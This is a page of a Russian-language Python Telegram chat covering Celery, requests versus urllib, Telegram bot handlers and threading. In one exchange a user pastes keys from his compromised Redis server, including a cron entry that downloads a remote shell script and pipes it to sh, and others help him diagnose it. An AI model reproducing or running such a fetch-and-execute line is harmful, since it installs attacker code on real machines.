@ru_python

Страница 6979 из 9768
LighteR
08.11.2018
10:54:59
Celery тебе даст возможность масштабироваться, worker’ы могут быть на другой машине
Для распределенных систем меня смущает, что celery beat может быть только в одном экземпляре. Не очень отказоустойчиво получается

Jentry
08.11.2018
10:58:25
Многие системы проектируется с точками отказа, которые держат на особом контроле. Например, если ты сядешь писать свой шедулер, то столкнешься со сложностью распределения тасков и, вероятно, у тебя будет все-таки один шедулер

Google
Игорь
08.11.2018
11:04:07
autopep8. Перебивать кто никто не будет за тебя
Приду домой , скину код с компьютера

Денис
08.11.2018
11:04:20
Ребята, сливаю бесплатно прогнозы на спорт от прибыльных каперов, кому интересно пишите в ЛС, добавлю бесплатно

Good
08.11.2018
11:04:28
Нет
@bot.message_handler(func=lambda m: m.text in ('stop', '/stop', 'старт')) так сделал, работает

Alex
08.11.2018
11:06:14
@fahreeve @gloomy_philosopher кстати на тему недавних постов, предлагаю явно запретить бросать сюда снимки экрана с телефонов, если это не связано с проблемой загрузки ОС.

?? Eugene
08.11.2018
11:09:05
Поддержу

LighteR
08.11.2018
11:10:02
Ну зачем сразу свой писать? Всякие оркестраторы уже имеют реализации distributed cron'ов
Ну и на больших проектах мне больше импонирует модель pub/sub и написание кастомных консьюмеров. Это, кмк, гораздо гибче, чем испльзование явных вызовов task'ов из кода в celery

Alex
08.11.2018
11:14:05
Альтернативы?
код на pastebin, в крайнем случае скриншоты

Sfy
08.11.2018
11:14:14
Чем отличается urllib.request от requests?

Я слышал, что urllib.request более старый.

Alex
08.11.2018
11:14:34
Чем отличается urllib.request от requests?
тем что это две разные библиотеки, отличающиеся по функционалу

urllib.request - входит в stdlib, requests - нет

Google
Sfy
08.11.2018
11:15:34
Я dir делал, первый длиннее.

И разные методы/атрибуты.

Alex
08.11.2018
11:15:48
requests - надстройка над urllib, предоставляющая удобный интерфейс для работы с http запросами.

только сегодня обсуждали в другом чате, как общение с идиотами сказывается на психологической устойчивости в контексте ухода Линуса на покой.

LighteR
08.11.2018
11:17:02
Чем отличается urllib.request от requests?
Используй requests если тебе не нужна асинхронщина. Он гораздо более юзабельный

Sfy
08.11.2018
11:18:14
requests - надстройка над urllib, предоставляющая удобный интерфейс для работы с http запросами.
Но ведь urllib.request делает почти то же самое по назначению. The urllib.request module defines functions and classes which help in opening URLs (mostly HTTP) in a complex world — basic and digest authentication, redirections, cookies and more. Работа с запросами и сессиями, перенаправлениями и т.д. "requests" делает то же самое.

Jentry
08.11.2018
11:18:15
LighteR
08.11.2018
11:18:48
А что urllib научился в асинхронщину, к слову?
Не, я не имел в виду, что если нужна асинхронщина, то нужно юзать urllib ))

LighteR
08.11.2018
11:19:27
Я имел в виду, что в синхронных приложениях requests уже стал практически стандартом де-факто

И искать какой-то другой клиент имеет смысл если нужна асинхронщина

Alex
08.11.2018
11:20:07
да, делает тоже самое, но удобнее.
предоставляет больше возможностей из коробки

urllib не умеет в асинхронный код ЕМНИП

Alex
08.11.2018
11:22:11
если питон >=3.5
а если нет - то хоть requests, хоть urllib поверх какого-нибудь gevent работают

Alex
08.11.2018
11:23:21
Я dir делал, первый длиннее.
просто стравнивать две библиотеки по количеству функций в dir() мягко скажем не очень умно

Google
Good
08.11.2018
11:23:33
При нажатии на кнопку: callback_button = types.InlineKeyboardButton(text="? Оплатить 3500 рублей",callback_data="oplata") Как от сюда вызвать функцию if message.data == "oplata": bot.register_next_step_handler(send_welcom) Вот эту функцию @bot.message_handler(func=lambda m: m.text in ('stop', '/stop', '? Оплатить 3500 рублей')) def send_welcome(message): msg = bot.send_message(message.chat.id, "? Введите свой e-mail") bot.register_next_step_handler(msg, process_name_step)

При вводе bot.register_next_step_handler(send_welcom) ошибка

Alex
08.11.2018
11:28:57
Шо
да тут утром был персонаж, который бросал в чат фото монитора.

Good
08.11.2018
11:29:09
???

Проксимов
08.11.2018
11:29:21
С ИИ и распознованием

Alex
08.11.2018
11:29:50
=) предпочитаю такие вещи решать административно.

Good
08.11.2018
11:41:01
хэлпаните почаны)

Aragaer
08.11.2018
11:44:33
а я вроде предлагал стартапчик - онлайн сервис, куда ты отправляешь нормальный скриншот (или копипастишь текст), а он генерит картинку, как если бы ты монитор сфоткал на телефон

думаю, пользовался бы спросом

?? Eugene
08.11.2018
11:44:59
)))

Егор
08.11.2018
11:45:07
лучше бы был сервис который делает наоборот)

качественно, красиво, и ориентированно на вывод терминала

?? Eugene
08.11.2018
11:45:17
хэлпаните почаны)
Фото монитора в студию!

Good
08.11.2018
11:45:27
выше вопрос)

Aragaer
08.11.2018
11:46:46
а, собственно монетизация это что за подписку ты получаешь бонусные виды оформления - ну там что это не просто экран, а распоследний макбук, а в нем отражается окно, в котором пальмы

Егор
08.11.2018
11:47:31
недостаточно хипстерское
запилить вывод в стиле материал дизайна)

Google
Aragaer
08.11.2018
11:47:35
или там часть экрана закрывает стакан со смузи

Тимур
08.11.2018
11:48:05
А в блике монитора красотка в бикини. Чтобы никто не думал, что ты одинокий задрод

Aragaer
08.11.2018
11:48:24
естессно

Admin
ERROR: S client not available

Тимур
08.11.2018
11:49:12
Это гениально, пошёл пилить сервис. Куплю ламбу. И на фиг эти биткоины

Kirill
08.11.2018
11:50:03
Осваиваю redis, после ночи работы, в базе появились ключи с именами "Back" DB keys: [b'Back3', b'array', b'shape', b'timestamp', b'Back1', b'Back2'] value: b'\t\n* * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh\n\t' Это что это?

Митя Слонимский
08.11.2018
11:50:49
прив. пишу утилитку с GUI - иконка в трее с меню по ПКМ. добавляю функцию которая постоянно используя time.sleep() проверяет доступность каталога. как только запускаю с этой функцией - правый клик на иконке в трее перестает работать, я так понимаю несколько функций не могут работать одновременно.... как максимально просто это можно реализовать?

Митя Слонимский
08.11.2018
11:53:10
Пришло время изучать многопоточность
видимо да... в нужном направлении подтолкнете? о чем конкретно почитать?

?? Eugene
08.11.2018
11:54:13
видимо да... в нужном направлении подтолкнете? о чем конкретно почитать?
Документацию могу посоветовать, у питона хорошая документация

Sfy
08.11.2018
11:54:21
просто стравнивать две библиотеки по количеству функций в dir() мягко скажем не очень умно
Не по количеству. Я залез внутрь каталогов с ними и стал разглядывать после этого. Частично понимаю происходящее.

Евгений
08.11.2018
11:54:49
Ну а если запариться - можно тру сервис на железе сделать - комната с разными мониторами (желательно ЭЛТ), вокруг каждого камеры и лампочки расставлены со всес сторон, и они все подрублены в одну систему, которая обрабатывает входящие запросы, закидывает на монитор по очереди скрины, и рандомная камера делает фото. Можно также зажигать рандомную лампочку для бликов, а монитор постоянно медленно вращается туда-сюда, чтобы исключить полностью идентичные снимки

LighteR
08.11.2018
12:00:51
Либо user input в redis сохраняешь и это пришло из какой-то формы

Kirill
08.11.2018
12:01:12
Редис жопой в интернет? Какой то ушлый китаец решил заовнить твой серв
да, закомментировал в конфиге bind чтобы удаленно подключатся, поставил пароль(не сложный) Раз ключ добавили значи пароль подобрали?

Google
Kirill
08.11.2018
12:01:54
LighteR
08.11.2018
12:02:27
А это как проверить? запретить
Ну если у тебя код не создает таких ключей, значит напрямую записали в redis

проверь на всякий случай /root/.ssh/authorized_keys

Nurlan
08.11.2018
12:03:38
Добрый день, подскажите как сделать следующее? у меня строка имеет следующую структуру, и мне надо вытащить значение principal name

[ [Principal Clz Name : oracle.security.jps.service.policystore.ApplicationRole, Principal Name : BPMProcessAdmin, Type : APP_ROLE], Display Name : BPM Admin Role, Description : BPM application admin role, has full privilege for performing any operations including security related, Guid : 00FDF650709111E4BF4C939C928DBAB5] [ [Principal Clz Name : oracle.security.jps.service.policystore.ApplicationRole, Principal Name : TestPOST.ProcessOwner, Type : APP_ROLE], Display Name : TestPOST.ProcessOwner, Description : null, Guid : C6334960709711E4BF4C939C928DBAB5]

только начал осваивать:)

Kirill
08.11.2018
12:04:41
проверь на всякий случай /root/.ssh/authorized_keys
спасиб, поставлю пароль посерьёзнее

LighteR
08.11.2018
12:05:17
лучше вообще наружу не выставлять

Жасулан
08.11.2018
12:07:44


Andrew
08.11.2018
12:08:41
Когда за подобное будут р/о выдать?

Nurlan
08.11.2018
12:12:05
написал пока вот так

import sys; from cStringIO import StringIO connect(sys.argv[2],sys.argv[3],sys.argv[1]) try: originalout = sys.stdout sys.stdout = currentout = StringIO() listAppRoles('OracleBPMProcessRolesApp') sys.stdout = originalout roles=currentout.getvalue() print roles for role in roles.split("\n"): try: print 'The role is: "' + role.strip('[]') + '"' except Exception, e: print e continue except Exception, e: print e exit()

Aliona
08.11.2018
12:12:25
всем привет. как вы относитесь к структурному (нисходящему) программированию в python, насколько это, по-вашему, эффективно?

Страница 6979 из 9768